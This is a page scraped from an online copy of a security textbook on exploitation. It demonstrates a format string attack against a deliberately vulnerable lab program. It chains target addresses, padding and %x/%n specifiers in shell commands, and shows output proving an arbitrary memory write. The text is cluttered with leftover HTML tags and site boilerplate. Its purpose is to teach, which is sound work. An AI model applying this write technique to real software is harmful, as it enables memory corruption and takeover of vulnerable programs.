26.07.2018 Views

hacking-the-art-of-exploitation

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

The last %x format parameter uses 8 as <strong>the</strong> field width to standardize <strong>the</strong><br />

output. This is essentially reading a random DWORD from <strong>the</strong> stack, which<br />

could output anywhere from 1 to 8 characters. Since <strong>the</strong> first overwrite puts<br />

28 into test_val, using 150 as <strong>the</strong> field width instead <strong>of</strong> 8 should control <strong>the</strong><br />

least significant byte <strong>of</strong> test_val to 0xAA.<br />

Now for <strong>the</strong> next write. Ano<strong>the</strong>r argument is needed for ano<strong>the</strong>r %x<br />

format parameter to increment <strong>the</strong> byte count to 187, which is 0xBB in<br />

decimal. This argument could be anything; it just has to be four bytes long<br />

and must be located after <strong>the</strong> first arbitrary memory address <strong>of</strong> 0x08049754.<br />

Since this is all still in <strong>the</strong> memory <strong>of</strong> <strong>the</strong> format string, it can be easily<br />

controlled. The word JUNK is four bytes long and will work fine.<br />

After that, <strong>the</strong> next memory address to be written to, 0x08049755, should<br />

be put into memory so <strong>the</strong> second %n format parameter can access it. This<br />

means <strong>the</strong> beginning <strong>of</strong> <strong>the</strong> format string should consist <strong>of</strong> <strong>the</strong> target memory<br />

address, four bytes <strong>of</strong> junk, and <strong>the</strong>n <strong>the</strong> target memory address plus one.<br />

But all <strong>of</strong> <strong>the</strong>se bytes <strong>of</strong> memory are also printed by <strong>the</strong> format function,<br />

thus incrementing <strong>the</strong> byte counter used for <strong>the</strong> %n format parameter. This is<br />

getting tricky.<br />

Perhaps we should think about <strong>the</strong> beginning <strong>of</strong> <strong>the</strong> format string ahead<br />

<strong>of</strong> time. The goal is to have four writes. Each one will need to have a memory<br />

address passed to it, and among <strong>the</strong>m all, four bytes <strong>of</strong> junk are needed to<br />

properly increment <strong>the</strong> byte counter for <strong>the</strong> %n format parameters. The first<br />

%x format parameter can use <strong>the</strong> four bytes found before <strong>the</strong> format string<br />

itself, but <strong>the</strong> remaining three will need to be supplied data. For <strong>the</strong> entire<br />

write procedure, <strong>the</strong> beginning <strong>of</strong> <strong>the</strong> format string should look like this:<br />

0x08049794 0x08049795 0x08049796 0x08049797<br />

94 97 04 08 J U N K 95 97 04 08 J U N K 96 97 04 08 J U N K 97 97 04 08<br />

Let’s give it a try.<br />

reader@<strong>hacking</strong>:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\<br />

x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%8x%n<br />

The right way to print user-controlled input:<br />

??JUNK??JUNK??JUNK??%x%x%8x%n<br />

The wrong way to print user-controlled input:<br />

??JUNK??JUNK??JUNK??bffff3c0b7fe75fc 0<br />

[*] test_val @ 0x08049794 = 52 0x00000034<br />

reader@<strong>hacking</strong>:~/booksrc $ gdb -q --batch -ex "p 0xaa - 52 + 8"<br />

$1 = 126<br />

reader@<strong>hacking</strong>:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\<br />

x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n<br />

The right way to print user-controlled input:<br />

??JUNK??JUNK??JUNK??%x%x%126x%n<br />

The wrong way to print user-controlled input:<br />

??JUNK??JUNK??JUNK??bffff3c0b7fe75fc<br />

0<br />

[*] test_val @ 0x08049794 = 170 0x000000aa<br />

reader@<strong>hacking</strong>:~/booksrc $<br />

Exploitation 175

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!